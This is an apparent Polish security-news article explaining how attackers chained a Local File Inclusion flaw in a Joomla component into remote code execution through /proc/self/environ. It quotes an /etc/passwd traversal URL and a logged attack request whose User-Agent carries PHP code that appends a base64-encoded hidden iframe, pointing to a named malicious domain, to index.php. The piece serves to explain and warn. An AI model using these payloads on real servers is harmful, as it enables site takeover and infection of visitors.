Od Local File Inclusion do zdalnego wykonania kodu

dodał 14 grudnia 2012 o 00:47 w kategorii Włamania  z tagami:
Od Local File Inclusion do zdalnego wykonania kodu

Wykorzystanie błędów na serwerze www zależy tylko od inwencji atakującego. Specjaliści Tustwave SpiderLabs odkryli atak, w którym błąd typu LFI wykorzystywany jest do zdalnego wykonania kodu, a prawdopodobnym autorem ataku jest Polak.

Błąd typu Local File Inclusion polega na ujawnieniu zawartości lokalnego pliku w atakowanym systemie poprzez manipulację parametrami przekazywanymi skryptowi na serwerze. W najprostszym wydaniu może mieć postać na przykład

http://serwer.xx/pokaz.php?strona=../../../../../../etc/passwd

Próby wykorzystania tego błędu są dość powszechne, jednak rzadko można natrafić na taką, która doprowadzi do modyfikacji zawartości pliku na serwerze. Taki przypadek opisuje właśnie blog SpiderLabs. Spójrzmy na to zapytanie:

GET /?option=com_svmap&controller=../../../../../../../../../../../../..//proc/self/environ%0000

O co chodzi atakującemu? Otóż plik /proc/self/environ zawiera informacje o aktualnie działających procesach – w tym wypadku wątku serwera www. Jeśli serwer jest podatny na błąd LFI, w odpowiedzi atakujący zobaczy plik jak poniżej.

Odpowiedź serwera

Jak możecie zauważyć, w odpowiedzi znajdują się nagłówki żądania HTTP wysłanego przez atakującego, w tym również zmienna HTTP_USER_AGENT. Co się zatem stanie, jeśli atakujący wstawi do tej zmiennej kod php? Bingo! Kod zostanie wykonany na serwerze. Takie XSS, tylko zamiast w przeglądarce, to po drugiej stronie połączenia. Spójrzmy teraz na przykład przytoczony przez SpiderLabs. Zauważacie znajome słowo?

202.131.112.69 - - [12/Dec/2012:06:38:19 +0200] "GET //index.php?option=com_svmap&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 
404 292 "-" "<?php echo(\"KURWA\"); file_put_contents(\"./index.php\", base64_decode(\"Pz48aWZyYW1lIHNyYz0iaHR0cDovL3p1by5wb2Rnb3J6Lm9yZy96dW8vZWxlbi9pbmRleC5waHAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT48P3BocA==\"), FILE_APPEND); ?>"

Jaka jest funkcjonalnoćść tego kodu? Po pierwsze, gromkim „KURWA” informuje autora, że atak przebiega prawidłowo. Po drugie, na końcu pliku index.php dopisują taką oto linijkę

?><iframe src="https://zuo.podgorz.org/zuo/elen/index.php" width="0" height="0" frameborder="0"></iframe><?php

Prawdopodobnie wstrzykiwana ramka prowadzi do strony serwującej BlackHole lub innego exploit packa. Sama domena zuo.podgorz.org od jakiegoś czasu już przewija się przy różnych okazjach, głównie jako miejsce, gdzie zidentyfikowano serwer C&C Zeusa. Znaleźć tam tez można było serwer IRC, służący jako miejsce koordynacji ataków DDoS, skrypty sprawdzające hasła różnych skrzynek pocztowych a także prawdopodobnie słynną listę 10 tysięcy haseł polskich internautów. Udało nam się także namierzyć skrypt, prawdopodobnie odpowiedzialny za skanowanie serwerów pod kątem opisanego powyżej błędu. Co ciekawe, pochodzi on z roku 2010…